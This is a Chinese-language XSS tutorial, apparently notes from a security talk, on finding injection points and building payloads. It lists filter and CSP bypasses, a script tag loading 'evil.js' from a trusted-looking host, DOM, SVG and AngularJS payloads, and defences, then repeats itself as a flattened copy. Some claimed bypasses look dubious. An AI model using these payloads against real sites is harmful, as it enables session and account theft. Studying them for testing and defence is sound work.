先知安全沙龙(西安站) - 浅谈XSS漏洞挖掘与构造思路
字数 1289 2025-08-05 08:20:05

XSS漏洞挖掘与构造思路详解

一、XSS漏洞基础概念

XSS(Cross-Site Scripting)跨站脚本攻击是一种将恶意脚本注入到其他用户浏览页面的攻击方式,主要分为三类:

  1. 反射型XSS:恶意脚本来自当前HTTP请求
  2. 存储型XSS:恶意脚本被存储在服务器上
  3. DOM型XSS:通过修改DOM环境而非插入HTML执行

二、XSS漏洞挖掘方法论

1. 输入点识别

  • 所有用户可控输入点:URL参数、表单输入、HTTP头、Cookie等
  • 富文本编辑器、文件上传(文件名、内容)、第三方组件接口

2. 输出点检测

  • HTML输出:<div>用户输入</div>
  • HTML属性:<input value="用户输入">
  • JavaScript上下文:<script>var x = '用户输入';</script>
  • CSS上下文:<style>body{background:url('用户输入')}</style>
  • DOM操作:document.write(用户输入)

3. 测试向量构造

基础测试Payload:

'"<script>alert(1)</script>

进阶测试向量:

javascript:alert(1)
data:text/html,<script>alert(1)</script>
<svg/onload=alert(1)>

三、XSS绕过技术

1. 过滤绕过

  • 大小写混合:<ScRiPt>alert(1)</sCrIpT>

  • 编码绕过:

    • HTML实体:&lt;script&gt;alert(1)&lt;/script&gt;
    • Unicode编码:\u003cscript\u003ealert(1)\u003c/script\u003e
    • 十六进制:<script\x20>alert(1)</script>
  • 特殊字符插入:

    <scr<script>ipt>alert(1)</scr</script>ipt>
    

2. CSP绕过

  • 利用可信域:
    <script src="https://trusted.com/evil.js"></script>
    
  • JSONP端点滥用:
    <script src="/api/jsonp?callback=alert(1)//"></script>
    
  • 动态创建元素绕过nonce:
    var s = document.createElement('script');
    s.src = 'data:,alert(1)';
    document.body.appendChild(s);
    

四、高级XSS构造技术

1. DOM型XSS构造

eval(location.hash.substr(1))
// 利用:http://example.com/#alert(1)

2. 基于Mutation XSS

利用浏览器解析差异:

<textarea><script>alert(1)</script></textarea>
<!-- 某些浏览器会执行 -->

3. 基于SVG的XSS

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

4. 基于AngularJS的XSS

<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

五、XSS漏洞防御方案

  1. 输入过滤

    • 白名单优于黑名单
    • 根据上下文采用不同过滤策略
  2. 输出编码

    • HTML实体编码:< → &lt;
    • JavaScript编码:' → \x27
    • URL编码:& → %26
  3. 安全响应头

    Content-Security-Policy: default-src 'self'
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    
  4. 框架安全特性

    • React的JSX自动转义
    • Vue的v-html指令限制
    • Angular的DomSanitizer

六、XSS实战案例

案例1:基于HTML5特性的XSS

<video poster=javascript:alert(1)>

案例2:基于CSS的XSS

<style>@import 'javascript:alert(1)';</style>

案例3:基于事件处理器的XSS

<body onscroll=alert(1)>

七、自动化测试工具

  1. Burp Suite

    • Active Scan
    • XSS Validator插件
  2. XSStrike

    • 基于模糊测试的XSS检测
    • 上下文分析能力
  3. DOMinator

    • 专门检测DOM XSS
    • 实时监控DOM修改

八、进阶研究方向

  1. 基于WebAssembly的XSS
  2. Service Worker中的XSS
  3. WebRTC数据通道滥用
  4. WebSocket中的XSS向量

通过系统性地应用这些挖掘和构造技术,安全研究人员可以更全面地发现和验证XSS漏洞,同时帮助开发人员构建更安全的Web应用。

XSS漏洞挖掘与构造思路详解 一、XSS漏洞基础概念 XSS(Cross-Site Scripting)跨站脚本攻击是一种将恶意脚本注入到其他用户浏览页面的攻击方式,主要分为三类: 反射型XSS :恶意脚本来自当前HTTP请求 存储型XSS :恶意脚本被存储在服务器上 DOM型XSS :通过修改DOM环境而非插入HTML执行 二、XSS漏洞挖掘方法论 1. 输入点识别 所有用户可控输入点:URL参数、表单输入、HTTP头、Cookie等 富文本编辑器、文件上传(文件名、内容)、第三方组件接口 2. 输出点检测 HTML输出: <div>用户输入</div> HTML属性: <input value="用户输入"> JavaScript上下文: <script>var x = '用户输入';</script> CSS上下文: <style>body{background:url('用户输入')}</style> DOM操作: document.write(用户输入) 3. 测试向量构造 基础测试Payload: 进阶测试向量: 三、XSS绕过技术 1. 过滤绕过 大小写混合: <ScRiPt>alert(1)</sCrIpT> 编码绕过: HTML实体: &lt;script&gt;alert(1)&lt;/script&gt; Unicode编码: \u003cscript\u003ealert(1)\u003c/script\u003e 十六进制: <script\x20>alert(1)</script> 特殊字符插入: 2. CSP绕过 利用可信域: JSONP端点滥用: 动态创建元素绕过nonce: 四、高级XSS构造技术 1. DOM型XSS构造 2. 基于Mutation XSS 利用浏览器解析差异: 3. 基于SVG的XSS 4. 基于AngularJS的XSS 五、XSS漏洞防御方案 输入过滤 : 白名单优于黑名单 根据上下文采用不同过滤策略 输出编码 : HTML实体编码: < → &lt; JavaScript编码: ' → \x27 URL编码: & → %26 安全响应头 : 框架安全特性 : React的JSX自动转义 Vue的v-html指令限制 Angular的DomSanitizer 六、XSS实战案例 案例1:基于HTML5特性的XSS 案例2:基于CSS的XSS 案例3:基于事件处理器的XSS 七、自动化测试工具 Burp Suite : Active Scan XSS Validator插件 XSStrike : 基于模糊测试的XSS检测 上下文分析能力 DOMinator : 专门检测DOM XSS 实时监控DOM修改 八、进阶研究方向 基于WebAssembly的XSS Service Worker中的XSS WebRTC数据通道滥用 WebSocket中的XSS向量 通过系统性地应用这些挖掘和构造技术,安全研究人员可以更全面地发现和验证XSS漏洞,同时帮助开发人员构建更安全的Web应用。